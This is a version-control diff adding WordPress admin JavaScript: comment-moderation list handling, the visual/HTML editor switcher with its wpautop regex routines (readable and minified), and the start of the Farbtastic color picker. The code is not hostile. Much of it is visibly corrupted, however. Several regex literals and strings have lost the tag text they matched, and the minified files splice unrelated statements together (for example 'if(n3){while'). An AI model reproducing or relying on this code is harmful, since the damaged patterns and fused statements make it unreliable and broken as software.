) && unapproved ) ) { // we "deleted" an approved comment from the approved list by clicking "Unapprove" + n = n + 1; + } else if ( unapproved ) { // we deleted a formerly unapproved comment + n = n - 1; + } + if ( n < 0 ) { n = 0; } + a.closest('#awaiting-mod')[ 0 == n ? 'addClass' : 'removeClass' ]('count-0'); + updateCount(a, n); + dashboardTotals(); + }); + + $('span.spam-count').each( function() { + var a = $(this), n = getCount(a) + spam; + updateCount(a, n); + }); + + $('span.trash-count').each( function() { + var a = $(this), n = getCount(a) + trash; + updateCount(a, n); + }); + + if ( $('#dashboard_right_now').length ) { + N = trash ? -1 * trash : 0; + dashboardTotals(N); + } else { + total = totalInput.val() ? parseInt( totalInput.val(), 10 ) : 0; + total = total - spam - trash; + if ( total < 0 ) + total = 0; + + if ( ( 'object' == typeof r ) && lastConfidentTime < settings.parsed.responses[0].supplemental.time ) { + pageLinks = settings.parsed.responses[0].supplemental.pageLinks || ''; + if ( $.trim( pageLinks ) ) + $('.tablenav-pages').find( '.page-numbers' ).remove().end().append( $( pageLinks ) ); + else + $('.tablenav-pages').find( '.page-numbers' ).remove(); + + updateTotalCount( total, settings.parsed.responses[0].supplemental.time, true ); + } else { + updateTotalCount( total, r, false ); + } + } + + if ( theExtraList.size() == 0 || theExtraList.children().size() == 0 || untrash ) { + return; + } + + theList.get(0).wpList.add( theExtraList.children(':eq(0)').remove().clone() ); + $('#get-extra-comments').submit(); + }; + + theExtraList = $('#the-extra-comment-list').wpList( { alt: '', delColor: 'none', addColor: 'none' } ); + theList = $('#the-comment-list').wpList( { alt: '', delBefore: delBefore, dimAfter: dimAfter, delAfter: delAfter, addColor: 'none' } ) + .bind('wpListDelEnd', function(e, s){ + var id = s.element.replace(/[^0-9]+/g, ''); + + if ( s.target.className.indexOf(':trash=1') != -1 || s.target.className.indexOf(':spam=1') != -1 ) + $('#undo-' + id).fadeIn(300, function(){ $(this).show() }); + }); +}; + +commentReply = { + cid : '', + act : '', + + init : function() { + var row = $('#replyrow'); + + $('a.cancel', row).click(function() { return commentReply.revert(); }); + $('a.save', row).click(function() { return commentReply.send(); }); + $('input#author, input#author-email, input#author-url', row).keypress(function(e){ + if ( e.which == 13 ) { + commentReply.send(); + e.preventDefault(); + return false; + } + }); + + // add events + $('#the-comment-list .column-comment > p').dblclick(function(){ + commentReply.toggle($(this).parent()); + }); + + $('#doaction, #doaction2, #post-query-submit').click(function(e){ + if ( $('#the-comment-list #replyrow').length > 0 ) + commentReply.close(); + }); + + this.comments_listing = $('#comments-form > input[name="comment_status"]').val() || ''; + + }, + + addEvents : function(r) { + r.each(function() { + $(this).find('.column-comment > p').dblclick(function(){ + commentReply.toggle($(this).parent()); + }); + }); + }, + + toggle : function(el) { + if ( $(el).css('display') != 'none' ) + $(el).find('a.vim-q').click(); + }, + + revert : function() { + + if ( $('#the-comment-list #replyrow').length < 1 ) + return false; + + $('#replyrow').fadeOut('fast', function(){ + commentReply.close(); + }); + + return false; + }, + + close : function() { + var c; + + if ( this.cid ) { + c = $('#comment-' + this.cid); + + if ( this.act == 'edit-comment' ) + c.fadeIn(300, function(){ c.show() }).css('backgroundColor', ''); + + $('#replyrow').hide(); + $('#com-reply').append( $('#replyrow') ); + $('#replycontent').val(''); + $('input', '#edithead').val(''); + $('.error', '#replysubmit').html('').hide(); + $('.waiting', '#replysubmit').hide(); + + if ( $.browser.msie ) + $('#replycontainer, #replycontent').css('height', '120px'); + else + $('#replycontainer').resizable('destroy').css('height', '120px'); + + this.cid = ''; + } + }, + + open : function(id, p, a) { + var t = this, editRow, rowData, act, h, c = $('#comment-' + id); + t.close(); + t.cid = id; + + $('td', '#replyrow').attr('colspan', $('table.widefat thead th:visible').length); + editRow = $('#replyrow'); + rowData = $('#inline-'+id); + act = t.act = (a == 'edit') ? 'edit-comment' : 'replyto-comment'; + + $('#action', editRow).val(act); + $('#comment_post_ID', editRow).val(p); + $('#comment_ID', editRow).val(id); + + if ( a == 'edit' ) { + $('#author', editRow).val( $('div.author', rowData).text() ); + $('#author-email', editRow).val( $('div.author-email', rowData).text() ); + $('#author-url', editRow).val( $('div.author-url', rowData).text() ); + $('#status', editRow).val( $('div.comment_status', rowData).text() ); + $('#replycontent', editRow).val( $('textarea.comment', rowData).val() ); + $('#edithead, #savebtn', editRow).show(); + $('#replyhead, #replybtn', editRow).hide(); + + h = c.height(); + if ( h > 220 ) + if ( $.browser.msie ) + $('#replycontainer, #replycontent', editRow).height(h-105); + else + $('#replycontainer', editRow).height(h-105); + + c.after( editRow ).fadeOut('fast', function(){ + $('#replyrow').fadeIn(300, function(){ $(this).show() }); + }); + } else { + $('#edithead, #savebtn', editRow).hide(); + $('#replyhead, #replybtn', editRow).show(); + c.after(editRow); + $('#replyrow').fadeIn(300, function(){ $(this).show() }); + } + + if ( ! $.browser.msie ) + $('#replycontainer').resizable({ + handles : 's', + axis : 'y', + minHeight : 80, + stop : function() { + $('#replycontainer').width('auto'); + } + }); + + setTimeout(function() { + var rtop, rbottom, scrollTop, vp, scrollBottom; + + rtop = $('#replyrow').offset().top; + rbottom = rtop + $('#replyrow').height(); + scrollTop = window.pageYOffset || document.documentElement.scrollTop; + vp = document.documentElement.clientHeight || self.innerHeight || 0; + scrollBottom = scrollTop + vp; + + if ( scrollBottom - 20 < rbottom ) + window.scroll(0, rbottom - vp + 35); + else if ( rtop - 20 < scrollTop ) + window.scroll(0, rtop - 35); + + $('#replycontent').focus().keyup(function(e){ + if ( e.which == 27 ) + commentReply.revert(); // close on Escape + }); + }, 600); + + return false; + }, + + send : function() { + var post = {}; + + $('#replysubmit .waiting').show(); + + $('#replyrow input').each(function() { + post[ $(this).attr('name') ] = $(this).val(); + }); + + post.content = $('#replycontent').val(); + post.id = post.comment_post_ID; + post.comments_listing = this.comments_listing; + + $.ajax({ + type : 'POST', + url : ajaxurl, + data : post, + success : function(x) { commentReply.show(x); }, + error : function(r) { commentReply.error(r); } + }); + + return false; + }, + + show : function(xml) { + var r, c, id, bg; + + if ( typeof(xml) == 'string' ) { + this.error({'responseText': xml}); + return false; + } + + r = wpAjax.parseAjaxResponse(xml); + if ( r.errors ) { + this.error({'responseText': wpAjax.broken}); + return false; + } + + r = r.responses[0]; + c = r.data; + id = '#comment-' + r.id; + if ( 'edit-comment' == this.act ) + $(id).remove(); + + $(c).hide() + $('#replyrow').after(c); + + this.revert(); + this.addEvents($(id)); + bg = $(id).hasClass('unapproved') ? '#ffffe0' : '#fff'; + + $(id) + .animate( { 'backgroundColor':'#CCEEBB' }, 600 ) + .animate( { 'backgroundColor': bg }, 600 ); + + $.fn.wpList.process($(id)) + }, + + error : function(r) { + var er = r.statusText; + + $('#replysubmit .waiting').hide(); + + if ( r.responseText ) + er = r.responseText.replace( /<.[^<>]*?>/g, '' ); + + if ( er ) + $('#replysubmit .error').html(er).show(); + + } +}; + +$(document).ready(function(){ + var make_hotkeys_redirect, edit_comment, toggle_all, make_bulk; + + setCommentsList(); + commentReply.init(); + $('span.delete a.delete').click(function(){return false;}); + + if ( typeof QTags != 'undefined' ) + ed_reply = new QTags('ed_reply', 'replycontent', 'replycontainer', 'more'); + + if ( typeof $.table_hotkeys != 'undefined' ) { + make_hotkeys_redirect = function(which) { + return function() { + var first_last, l; + + first_last = 'next' == which? 'first' : 'last'; + l = $('.'+which+'.page-numbers'); + if (l.length) + window.location = l[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g, '')+'&hotkeys_highlight_'+first_last+'=1'; + } + }; + + edit_comment = function(event, current_row) { + window.location = $('span.edit a', current_row).attr('href'); + }; + + toggle_all = function() { + toggleWithKeyboard = true; + $('input:checkbox', '#cb').click().attr('checked', ''); + toggleWithKeyboard = false; + }; + + make_bulk = function(value) { + return function() { + var scope = $('select[name="action"]'); + $('option[value='+value+']', scope).attr('selected', 'selected'); + $('#comments-form').submit(); + } + }; + + $.table_hotkeys( + $('table.widefat'), + ['a', 'u', 's', 'd', 'r', 'q', 'z', ['e', edit_comment], ['shift+x', toggle_all], + ['shift+a', make_bulk('approve')], ['shift+s', make_bulk('markspam')], + ['shift+d', make_bulk('delete')], ['shift+t', make_bulk('trash')], + ['shift+z', make_bulk('untrash')], ['shift+u', make_bulk('unapprove')]], + { highlight_first: adminCommentsL10n.hotkeys_highlight_first, highlight_last: adminCommentsL10n.hotkeys_highlight_last, + prev_page_link_cb: make_hotkeys_redirect('prev'), next_page_link_cb: make_hotkeys_redirect('next') } + ); + } +}); + +})(jQuery); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/edit-comments.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/edit-comments.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +var theList,theExtraList,toggleWithKeyboard=false;(function(a){setCommentsList=function(){var c,e,h,l=0,g,i,d,k;c=a('.tablenav input[name="_total"]',"#comments-form");e=a('.tablenav input[name="_per_page"]',"#comments-form");h=a('.tablenav input[name="_page"]',"#comments-form");g=function(n,m){var o=a("#"+m.element);if(o.is(".unapproved")){o.find("div.comment_status").html("0")}else{o.find("div.comment_status").html("1")}a("span.pending-count").each(function(){var p=a(this),r,q;r=p.html().replace(/[^0-9]+/g,"");r=parseInt(r,10);if(isNaN(r)){return}q=a("#"+m.element).is("."+m.dimClass)?1:-1;r=r+q;if(r<0){r=0}p.closest("#awaiting-mod")[0==r?"addClass":"removeClass"]("count-0");f(p,r);j()})};i=function(q,u){var w=a(q.target).attr("className"),m,o,p,t,v,s,r=false;q.data._total=c.val()||0;q.data._per_page=e.val()||0;q.data._page=h.val()||0;q.data._url=document.location.href;if(w.indexOf(":trash=1")!=-1){r="trash"}else{if(w.indexOf(":spam=1")!=-1){r="spam"}}if(r){m=w.replace(/.*?comment-([0-9]+).*/,"$1");o=a("#comment-"+m);note=a("#"+r+"-undo-holder").html();if(o.siblings("#replyrow").length&&commentReply.cid==m){commentReply.close()}if(o.is("tr")){p=o.children(":visible").length;s=a(".author strong",o).text();t=a(''+note+"")}else{s=a(".comment-author",o).text();t=a('")}o.before(t);a("strong","#undo-"+m).text(s+" ");v=a(".undo a","#undo-"+m);v.attr("href","comment.php?action=un"+r+"comment&c="+m+"&_wpnonce="+q.data._ajax_nonce);v.attr("className","delete:the-comment-list:comment-"+m+"::un"+r+"=1 vim-z vim-destructive");a(".avatar",o).clone().prependTo("#undo-"+m+" ."+r+"-undo-inside");v.click(function(){u.wpList.del(this);a("#undo-"+m).css({backgroundColor:"#ceb"}).fadeOut(350,function(){a(this).remove();a("#comment-"+m).css("backgroundColor","").fadeIn(300,function(){a(this).show()})});return false})}return q};d=function(m,n,o){if(n3){while(p.length>3){m=thousandsSeparator+p.substr(p.length-3)+m;p=p.substr(0,p.length-3)}p=p+m}o.html(p)}k=function(m,o){var t,p,q,v=a(o.target).parent().is("span.untrash"),n=a(o.target).parent().is("span.unspam"),u,s;function w(r){if(a(o.target).parent().is("span."+r)){return 1}else{if(a("#"+o.element).is("."+r)){return -1}}return 0}u=w("spam");s=w("trash");if(v){s=-1}if(n){u=-1}a("span.pending-count").each(function(){var r=a(this),y=b(r),x=a("#"+o.element).is(".unapproved");if(a(o.target).parent().is("span.unapprove")||((v||n)&&x)){y=y+1}else{if(x){y=y-1}}if(y<0){y=0}r.closest("#awaiting-mod")[0==y?"addClass":"removeClass"]("count-0");f(r,y);j()});a("span.spam-count").each(function(){var r=a(this),x=b(r)+u;f(r,x)});a("span.trash-count").each(function(){var r=a(this),x=b(r)+s;f(r,x)});if(a("#dashboard_right_now").length){q=s?-1*s:0;j(q)}else{t=c.val()?parseInt(c.val(),10):0;t=t-u-s;if(t<0){t=0}if(("object"==typeof m)&&l p").dblclick(function(){commentReply.toggle(a(this).parent())});a("#doaction, #doaction2, #post-query-submit").click(function(c){if(a("#the-comment-list #replyrow").length>0){commentReply.close()}});this.comments_listing=a('#comments-form > input[name="comment_status"]').val()||""},addEvents:function(b){b.each(function(){a(this).find(".column-comment > p").dblclick(function(){commentReply.toggle(a(this).parent())})})},toggle:function(b){if(a(b).css("display")!="none"){a(b).find("a.vim-q").click()}},revert:function(){if(a("#the-comment-list #replyrow").length<1){return false}a("#replyrow").fadeOut("fast",function(){commentReply.close()});return false},close:function(){var b;if(this.cid){b=a("#comment-"+this.cid);if(this.act=="edit-comment"){b.fadeIn(300,function(){b.show()}).css("backgroundColor","")}a("#replyrow").hide();a("#com-reply").append(a("#replyrow"));a("#replycontent").val("");a("input","#edithead").val("");a(".error","#replysubmit").html("").hide();a(".waiting","#replysubmit").hide();if(a.browser.msie){a("#replycontainer, #replycontent").css("height","120px")}else{a("#replycontainer").resizable("destroy").css("height","120px")}this.cid=""}},open:function(b,d,k){var l=this,e,f,i,g,j=a("#comment-"+b);l.close();l.cid=b;a("td","#replyrow").attr("colspan",a("table.widefat thead th:visible").length);e=a("#replyrow");f=a("#inline-"+b);i=l.act=(k=="edit")?"edit-comment":"replyto-comment";a("#action",e).val(i);a("#comment_post_ID",e).val(d);a("#comment_ID",e).val(b);if(k=="edit"){a("#author",e).val(a("div.author",f).text());a("#author-email",e).val(a("div.author-email",f).text());a("#author-url",e).val(a("div.author-url",f).text());a("#status",e).val(a("div.comment_status",f).text());a("#replycontent",e).val(a("textarea.comment",f).val());a("#edithead, #savebtn",e).show();a("#replyhead, #replybtn",e).hide();g=j.height();if(g>220){if(a.browser.msie){a("#replycontainer, #replycontent",e).height(g-105)}else{a("#replycontainer",e).height(g-105)}}j.after(e).fadeOut("fast",function(){a("#replyrow").fadeIn(300,function(){a(this).show()})})}else{a("#edithead, #savebtn",e).hide();a("#replyhead, #replybtn",e).show();j.after(e);a("#replyrow").fadeIn(300,function(){a(this).show()})}if(!a.browser.msie){a("#replycontainer").resizable({handles:"s",axis:"y",minHeight:80,stop:function(){a("#replycontainer").width("auto")}})}setTimeout(function(){var n,h,o,c,m;n=a("#replyrow").offset().top;h=n+a("#replyrow").height();o=window.pageYOffset||document.documentElement.scrollTop;c=document.documentElement.clientHeight||self.innerHeight||0;m=o+c;if(m-20]*?>/g,"")}if(c){a("#replysubmit .error").html(c).show()}}};a(document).ready(function(){var e,b,c,d;setCommentsList();commentReply.init();a("span.delete a.delete").click(function(){return false});if(typeof QTags!="undefined"){ed_reply=new QTags("ed_reply","replycontent","replycontainer","more")}if(typeof a.table_hotkeys!="undefined"){e=function(f){return function(){var h,g;h="next"==f?"first":"last";g=a("."+f+".page-numbers");if(g.length){window.location=g[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g,"")+"&hotkeys_highlight_"+h+"=1"}}};b=function(g,f){window.location=a("span.edit a",f).attr("href")};c=function(){toggleWithKeyboard=true;a("input:checkbox","#cb").click().attr("checked","");toggleWithKeyboard=false};d=function(f){return function(){var g=a('select[name="action"]');a("option[value="+f+"]",g).attr("selected","selected");a("#comments-form").submit()}};a.table_hotkeys(a("table.widefat"),["a","u","s","d","r","q","z",["e",b],["shift+x",c],["shift+a",d("approve")],["shift+s",d("markspam")],["shift+d",d("delete")],["shift+t",d("trash")],["shift+z",d("untrash")],["shift+u",d("unapprove")]],{highlight_first:adminCommentsL10n.hotkeys_highlight_first,highlight_last:adminCommentsL10n.hotkeys_highlight_last,prev_page_link_cb:e("prev"),next_page_link_cb:e("next")})}})})(jQuery); \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/editor.dev.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/editor.dev.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,196 @@ + +jQuery(document).ready(function($){ + var h = wpCookies.getHash('TinyMCE_content_size'); + + if ( getUserSetting( 'editor' ) == 'html' ) { + if ( h ) + $('#content').css('height', h.ch - 15 + 'px'); + } else { + if ( typeof tinyMCE != 'object' ) { + $('#content').css('color', '#000'); + } else { + $('#quicktags').hide(); + } + } +}); + +var switchEditors = { + + mode : '', + + I : function(e) { + return document.getElementById(e); + }, + + _wp_Nop : function(content) { + var blocklist1, blocklist2; + + // Protect pre|script tags + content = content.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g, function(a) { + a = a.replace(/
    [\r\n]*/g, ''); + return a.replace(/<\/?p( [^>]*)?>[\r\n]*/g, ''); + }); + + // Pretty it up for the source editor + blocklist1 = 'blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|div|h[1-6]|p|fieldset'; + content = content.replace(new RegExp('\\s*\\s*', 'g'), '\n'); + content = content.replace(new RegExp('\\s*<(('+blocklist1+')[^>]*)>', 'g'), '\n<$1>'); + + // Mark

    if it has any attributes. + content = content.replace(/(

    ]+>.*?)<\/p>/g, '$1'); + + // Sepatate

    containing

    + content = content.replace(/]*)>\s*

    /gi, '\n\n'); + + // Remove

    and
    + content = content.replace(/\s*

    /gi, ''); + content = content.replace(/\s*<\/p>\s*/gi, '\n\n'); + content = content.replace(/\n[\s\u00a0]+\n/g, '\n\n'); + content = content.replace(/\s*
    \s*/gi, '\n'); + + // Fix some block element newline issues + content = content.replace(/\s*

    \s*/g, '
    \n'); + content = content.replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n'); + content = content.replace(/caption\]\n\n+\[caption/g, 'caption]\n\n[caption'); + + blocklist2 = 'blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|h[1-6]|pre|fieldset'; + content = content.replace(new RegExp('\\s*<(('+blocklist2+') ?[^>]*)\\s*>', 'g'), '\n<$1>'); + content = content.replace(new RegExp('\\s*\\s*', 'g'), '\n'); + content = content.replace(/]*)>/g, '\t'); + + if ( content.indexOf('/g, function(a){ + return a.replace(/[\r\n]+/g, ''); + }); + } + + // Unmark special paragraph closing tags + content = content.replace(/<\/p#>/g, '

    \n'); + content = content.replace(/\s*(

    ]+>[\s\S]*?<\/p>)/g, '\n$1'); + + // Trim whitespace + content = content.replace(/^\s+/, ''); + content = content.replace(/[\s\u00a0]+$/, ''); + + // put back the line breaks in pre|script + content = content.replace(//g, '\n'); + + return content; + }, + + go : function(id, mode) { + id = id || 'content'; + mode = mode || this.mode || ''; + + var ed, qt = this.I('quicktags'), H = this.I('edButtonHTML'), P = this.I('edButtonPreview'), ta = this.I(id); + + try { ed = tinyMCE.get(id); } + catch(e) { ed = false; } + + if ( 'tinymce' == mode ) { + if ( ed && ! ed.isHidden() ) + return false; + + setUserSetting( 'editor', 'tinymce' ); + this.mode = 'html'; + + P.className = 'active'; + H.className = ''; + edCloseAllTags(); // :-( + qt.style.display = 'none'; + + ta.style.color = '#FFF'; + ta.value = this.wpautop(ta.value); + + try { + if ( ed ) + ed.show(); + else + tinyMCE.execCommand("mceAddControl", false, id); + } catch(e) {} + + ta.style.color = '#000'; + } else { + setUserSetting( 'editor', 'html' ); + ta.style.color = '#000'; + this.mode = 'tinymce'; + H.className = 'active'; + P.className = ''; + + if ( ed && !ed.isHidden() ) { + ta.style.height = ed.getContentAreaContainer().offsetHeight + 24 + 'px'; + ed.hide(); + } + + qt.style.display = 'block'; + } + return false; + }, + + _wp_Autop : function(pee) { + var blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|blockquote|address|math|p|h[1-6]|fieldset|legend'; + + if ( pee.indexOf('/g, function(a){ + return a.replace(/[\r\n]+/g, ''); + }); + } + + pee = pee.replace(/<[^<>]+>/g, function(a){ + return a.replace(/[\r\n]+/g, ' '); + }); + + pee = pee + '\n\n'; + pee = pee.replace(/
    \s*
    /gi, '\n\n'); + pee = pee.replace(new RegExp('(<(?:'+blocklist+')[^>]*>)', 'gi'), '\n$1'); + pee = pee.replace(new RegExp('()', 'gi'), '$1\n\n'); + pee = pee.replace(/\r\n|\r/g, '\n'); + pee = pee.replace(/\n\s*\n+/g, '\n\n'); + pee = pee.replace(/([\s\S]+?)\n\n/g, '

    $1

    \n'); + pee = pee.replace(/

    \s*?<\/p>/gi, ''); + pee = pee.replace(new RegExp('

    \\s*(]*>)\\s*

    ', 'gi'), "$1"); + pee = pee.replace(/

    (/gi, '$1'); + pee = pee.replace(/

    \s*]*)>/gi, '

    '); + pee = pee.replace(/<\/blockquote>\s*<\/p>/gi, '

    '); + pee = pee.replace(new RegExp('

    \\s*(]*>)', 'gi'), "$1"); + pee = pee.replace(new RegExp('(]*>)\\s*

    ', 'gi'), "$1"); + pee = pee.replace(/\s*\n/gi, '
    \n'); + pee = pee.replace(new RegExp('(]*>)\\s*
    ', 'gi'), "$1"); + pee = pee.replace(/
    (\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1'); + pee = pee.replace(/(?:

    |
    )*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|
    )*/gi, '[caption$1[/caption]'); + + pee = pee.replace(/(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function(a, b, c) { + if ( c.match(/]+)?>/) ) + return a; + + return b + '

    ' + c + '

    '; + }); + + // Fix the pre|script tags + pee = pee.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g, function(a) { + a = a.replace(/
    [\r\n]*/g, '\n'); + return a.replace(/<\/?p( [^>]*)?>[\r\n]*/g, '\n'); + }); + + return pee; + }, + + pre_wpautop : function(content) { + var t = this, o = { o: t, data: content, unfiltered: content }; + + jQuery('body').trigger('beforePreWpautop', [o]); + o.data = t._wp_Nop(o.data); + jQuery('body').trigger('afterPreWpautop', [o]); + return o.data; + }, + + wpautop : function(pee) { + var t = this, o = { o: t, data: pee, unfiltered: pee }; + + jQuery('body').trigger('beforeWpautop', [o]); + o.data = t._wp_Autop(o.data); + jQuery('body').trigger('afterWpautop', [o]); + return o.data; + } +}; diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/editor.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/editor.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +jQuery(document).ready(function(b){var a=wpCookies.getHash("TinyMCE_content_size");if(getUserSetting("editor")=="html"){if(a){b("#content").css("height",a.ch-15+"px")}}else{if(typeof tinyMCE!="object"){b("#content").css("color","#000")}else{b("#quicktags").hide()}}});var switchEditors={mode:"",I:function(a){return document.getElementById(a)},_wp_Nop:function(b){var c,a;b=b.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g,function(d){d=d.replace(/
    [\r\n]*/g,"");return d.replace(/<\/?p( [^>]*)?>[\r\n]*/g,"")});c="blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|div|h[1-6]|p|fieldset";b=b.replace(new RegExp("\\s*\\s*","g"),"\n");b=b.replace(new RegExp("\\s*<(("+c+")[^>]*)>","g"),"\n<$1>");b=b.replace(/(

    ]+>.*?)<\/p>/g,"$1");b=b.replace(/]*)>\s*

    /gi,"\n\n");b=b.replace(/\s*

    /gi,"");b=b.replace(/\s*<\/p>\s*/gi,"\n\n");b=b.replace(/\n[\s\u00a0]+\n/g,"\n\n");b=b.replace(/\s*
    \s*/gi,"\n");b=b.replace(/\s*

    \s*/g,"
    \n");b=b.replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi,"\n\n[caption$1[/caption]\n\n");b=b.replace(/caption\]\n\n+\[caption/g,"caption]\n\n[caption");a="blockquote|ul|ol|li|table|thead|tbody|tfoot|tr|th|td|h[1-6]|pre|fieldset";b=b.replace(new RegExp("\\s*<(("+a+") ?[^>]*)\\s*>","g"),"\n<$1>");b=b.replace(new RegExp("\\s*\\s*","g"),"\n");b=b.replace(/]*)>/g,"\t");if(b.indexOf("/g,function(d){return d.replace(/[\r\n]+/g,"")})}b=b.replace(/<\/p#>/g,"

    \n");b=b.replace(/\s*(

    ]+>[\s\S]*?<\/p>)/g,"\n$1");b=b.replace(/^\s+/,"");b=b.replace(/[\s\u00a0]+$/,"");b=b.replace(//g,"\n");return b},go:function(i,g){i=i||"content";g=g||this.mode||"";var b,h=this.I("quicktags"),c=this.I("edButtonHTML"),d=this.I("edButtonPreview"),a=this.I(i);try{b=tinyMCE.get(i)}catch(f){b=false}if("tinymce"==g){if(b&&!b.isHidden()){return false}setUserSetting("editor","tinymce");this.mode="html";d.className="active";c.className="";edCloseAllTags();h.style.display="none";a.style.color="#FFF";a.value=this.wpautop(a.value);try{if(b){b.show()}else{tinyMCE.execCommand("mceAddControl",false,i)}}catch(f){}a.style.color="#000"}else{setUserSetting("editor","html");a.style.color="#000";this.mode="tinymce";c.className="active";d.className="";if(b&&!b.isHidden()){a.style.height=b.getContentAreaContainer().offsetHeight+24+"px";b.hide()}h.style.display="block"}return false},_wp_Autop:function(a){var b="table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|select|form|blockquote|address|math|p|h[1-6]|fieldset|legend";if(a.indexOf("/g,function(c){return c.replace(/[\r\n]+/g,"")})}a=a.replace(/<[^<>]+>/g,function(c){return c.replace(/[\r\n]+/g," ")});a=a+"\n\n";a=a.replace(/
    \s*
    /gi,"\n\n");a=a.replace(new RegExp("(<(?:"+b+")[^>]*>)","gi"),"\n$1");a=a.replace(new RegExp("()","gi"),"$1\n\n");a=a.replace(/\r\n|\r/g,"\n");a=a.replace(/\n\s*\n+/g,"\n\n");a=a.replace(/([\s\S]+?)\n\n/g,"

    $1

    \n");a=a.replace(/

    \s*?<\/p>/gi,"");a=a.replace(new RegExp("

    \\s*(]*>)\\s*

    ","gi"),"$1");a=a.replace(/

    (/gi,"$1");a=a.replace(/

    \s*]*)>/gi,"

    ");a=a.replace(/<\/blockquote>\s*<\/p>/gi,"

    ");a=a.replace(new RegExp("

    \\s*(]*>)","gi"),"$1");a=a.replace(new RegExp("(]*>)\\s*

    ","gi"),"$1");a=a.replace(/\s*\n/gi,"
    \n");a=a.replace(new RegExp("(]*>)\\s*
    ","gi"),"$1");a=a.replace(/
    (\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi,"$1");a=a.replace(/(?:

    |
    )*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|
    )*/gi,"[caption$1[/caption]");a=a.replace(/(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g,function(e,d,f){if(f.match(/]+)?>/)){return e}return d+"

    "+f+"

    "});a=a.replace(/<(pre|script)[^>]*>[\s\S]+?<\/\1>/g,function(c){c=c.replace(/
    [\r\n]*/g,"\n");return c.replace(/<\/?p( [^>]*)?>[\r\n]*/g,"\n")});return a},pre_wpautop:function(b){var a=this,c={o:a,data:b,unfiltered:b};jQuery("body").trigger("beforePreWpautop",[c]);c.data=a._wp_Nop(c.data);jQuery("body").trigger("afterPreWpautop",[c]);return c.data},wpautop:function(b){var a=this,c={o:a,data:b,unfiltered:b};jQuery("body").trigger("beforeWpautop",[c]);c.data=a._wp_Autop(c.data);jQuery("body").trigger("afterWpautop",[c]);return c.data}}; \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/js/farbtastic.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/js/farbtastic.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,333 @@ +// $Id: farbtastic.js,v 1.2 2007/01/08 22:53:01 unconed Exp $ +// Farbtastic 1.2 + +var farbtastic_click = false; + +jQuery.fn.farbtastic = function (callback) { + jQuery.farbtastic(this, callback); + return this; +}; + +jQuery.farbtastic = function (container, callback) { + var container = jQuery(container).get(0); + return container.farbtastic || (container.farbtastic = new jQuery._farbtastic(container, callback)); +} + +jQuery._farbtastic = function (container, callback) { + // Store farbtastic object + var fb = this; + + // Insert markup + jQuery(container).html('
    '); + var e = jQuery('.farbtastic', container); + fb.wheel = jQuery('.wheel', container).get(0); + // Dimensions + fb.radius = 84; + fb.square = 100; + fb.width = 194; + + // Fix background PNGs in IE6 + if (navigator.appVersion.match(/MSIE [0-6]\./)) { + jQuery('*', e).each(function () { + if (this.currentStyle.backgroundImage != 'none') { + var image = this.currentStyle.backgroundImage; + image = this.currentStyle.backgroundImage.substring(5, image.length - 2); + jQuery(this).css({ + 'backgroundImage': 'none', + 'filter': "progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='" + image + "')" + }); + } + }); + } + + /** + * Link to the given element(s) or callback. + */ + fb.linkTo = function (callback) { + // Unbind previous nodes + if (typeof fb.callback == 'object') { + jQuery(fb.callback).unbind('keyup', fb.updateValue); + } + + // Reset color + fb.color = null; + + // Bind callback or elements + if (typeof callback == 'function') { + fb.callback = callback; + } + else if (typeof callback == 'object' || typeof callback == 'string') { + fb.callback = jQuery(callback); + fb.callback.bind('keyup', fb.updateValue); + if (fb.callback.get(0).value) { + fb.setColor(fb.callback.get(0).value); + } + } + return this; + } + fb.updateValue = function (event) { + if (this.value && this.value != fb.color) { + fb.setColor(this.value); + } + } + + /** + * Change color with HTML syntax #123456 + */ + fb.setColor = function (color) { + var unpack = fb.unpack(color); + if (fb.color != color && unpack) { + fb.color = color; + fb.rgb = unpack; + fb.hsl = fb.RGBToHSL(fb.rgb); + fb.updateDisplay(); + } + return this; + } + + /** + * Change color with HSL triplet [0..1, 0..1, 0..1] + */ + fb.setHSL = function (hsl) { + fb.hsl = hsl; + fb.rgb = fb.HSLToRGB(hsl); + fb.color = fb.pack(fb.rgb); + fb.updateDisplay(); + return this; + } + + ///////////////////////////////////////////////////// + + /** + * Retrieve the coordinates of the given event relative to the center + * of the widget. + */ + fb.widgetCoords = function (event) { + var x, y; + var el = event.target || event.srcElement; + var reference = fb.wheel; + + if (typeof event.offsetX != 'undefined') { + // Use offset coordinates and find common offsetParent 